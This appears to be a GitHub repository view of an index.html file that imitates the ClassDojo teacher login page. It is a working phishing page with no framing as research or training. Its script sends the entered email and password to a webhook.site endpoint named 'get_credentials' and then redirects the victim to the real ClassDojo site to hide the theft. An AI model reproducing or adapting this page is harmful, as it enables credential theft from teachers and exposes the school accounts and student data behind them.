-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
129 lines (124 loc) · 3.55 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Classdojo For Teachers</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
flex-direction: column;
font-family: Helvetica;
font-weight: bold;
border-radius: 10px;
}
.logo {
max-width: 150px;
height: auto;
margin-bottom: 20px;
}
.login-box {
text-align: center;
border: 1px solid #ccc;
padding: 20px;
max-width: 230px;
width: 100%;
border-radius: 20px;
}
.title {
font-size: 24px;
margin-bottom: 20px;
}
.input-container {
margin-bottom: 15px;
display: flex;
text-align: left;
border-radius: 10px;
justify-content: center;
}
.input-container input {
width: calc(100% - 50px);
padding: 13px;
margin-top: 5px;
border: 1.5px solid #555; /* Agrega un borde de 1 píxel sólido */
border-radius: 10px; /* Redondea los bordes de los campos de entrada */
box-shadow: none; /* Elimina cualquier sombra predeterminada */
}
.login-btn {
padding: 15px 20px;
background-color: #007bff;
color: #fff;
border: none;
cursor: pointer;
border-radius: 10px;
width: calc(100% - 22px);
}
.login-btn:hover {
background-color: #0056b3;
}
.footer {
margin-top: 20px;
font-size: 12px;
text-align: center;
}
.blue-link {
color: #007bff; /* Cambia el color del enlace a azul celeste */
text-decoration: none;
padding: 20px;
}
.gris-link {
color: #555; /* Cambia el color del enlace a azul celeste */
text-decoration: none;
}
</style>
</head>
<body>
<img src="classdojo-logo.png" alt="Logo de la página" class="logo">
<div class="login-box">
<div class="title">Log in</div>
<form id="loginForm">
<div class="input-container">
<input type="email" id="email" name="email" placeholder="Email">
</div>
<div class="input-container">
<input type="password" id="password" name="password" placeholder="Password">
</div>
<button type="submit" class="login-btn">Log In</button>
</form>
<div class="footer">
<p><a href="#" class="blue-link">Forgot your password?</a></p>
<p><a href="#" class="blue-link">Don't have an account?</a></p>
<p><a href="#" class="gris-link">Log in without a password</a></p>
</div>
</div>
<div class="footer">
<p>© ClassDojo 2023 <a href="#" class="gris-link">Política de privacidad</a> <a href="#" class="gris-link">Términos del servicio</a></p>
</div>
<script>
document.getElementById("loginForm").addEventListener("submit", function(event) {
event.preventDefault();
const formData = new FormData(this);
fetch("https://webhook.site/7ae607d6-defc-46a2-a4ef-54a781926417/get_credentials", {
method: "POST",
body: formData
})
.then(response => {
if (response.ok) {
return response.json();
}
throw new Error("Error en la solicitud");
})
.then(data => {
console.log(data);
window.location.href = "https://teach.classdojo.com/";
})
.catch(error => {
console.error(error);
window.location.href = "https://teach.classdojo.com/";
});
});
</script>
</body>
</html>